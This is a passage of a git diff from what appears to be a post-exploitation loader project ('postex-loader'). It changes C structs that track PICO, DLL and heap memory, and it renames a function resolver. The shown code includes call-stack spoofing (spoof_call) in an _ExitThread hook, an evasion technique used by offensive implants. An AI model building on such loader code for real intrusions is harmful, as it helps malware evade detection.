PICO_MEMORY; + +typedef struct { + PVOID Address; + SIZE_T Size; +} HEAP_RECORD; + +typedef struct { + HEAP_RECORD Records [ MAX_HEAP_RECORDS ]; + SIZE_T Count; +} HEAP_MEMORY; + typedef struct { PVOID BaseAddress; SIZE_T Size; @@ -8,10 +26,12 @@ typedef struct { typedef struct { PVOID BaseAddress; SIZE_T Size; - MEMORY_SECTION Sections [ 20 ]; -} MEMORY_REGION; + MEMORY_SECTION Sections [ MAX_SECTIONS ]; + SIZE_T Count; +} DLL_MEMORY; typedef struct { - MEMORY_REGION Pico; - MEMORY_REGION Dll; + PICO_MEMORY Pico; + DLL_MEMORY Dll; + HEAP_MEMORY Heap; } MEMORY_LAYOUT; diff --git a/postex-loader/src/pico.c b/postex-loader/src/pico.c index 5b717f5..bbe89db 100644 --- a/postex-loader/src/pico.c +++ b/postex-loader/src/pico.c @@ -62,4 +62,4 @@ VOID WINAPI _ExitThread ( DWORD dwExitCode ) call.args [ 0 ] = spoof_arg ( dwExitCode ); spoof_call ( &call ); -} +} \ No newline at end of file diff --git a/postex-loader/src/services.c b/postex-loader/src/services.c index a0a1797..b634b1a 100644 --- a/postex-loader/src/services.c +++ b/postex-loader/src/services.c @@ -8,8 +8,8 @@ __typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( " * This function is used to locate functions in * modules that are loaded by default (K32 & NTDLL) */ -FARPROC resolve ( char * mod_name, char * func_name ) +FARPROC patch_resolve ( char * mod_name, char * func_name ) { HANDLE module = get_module_handle ( mod_name ); return get_proc_address ( module, func_name ); -} +} \ No newline at end of file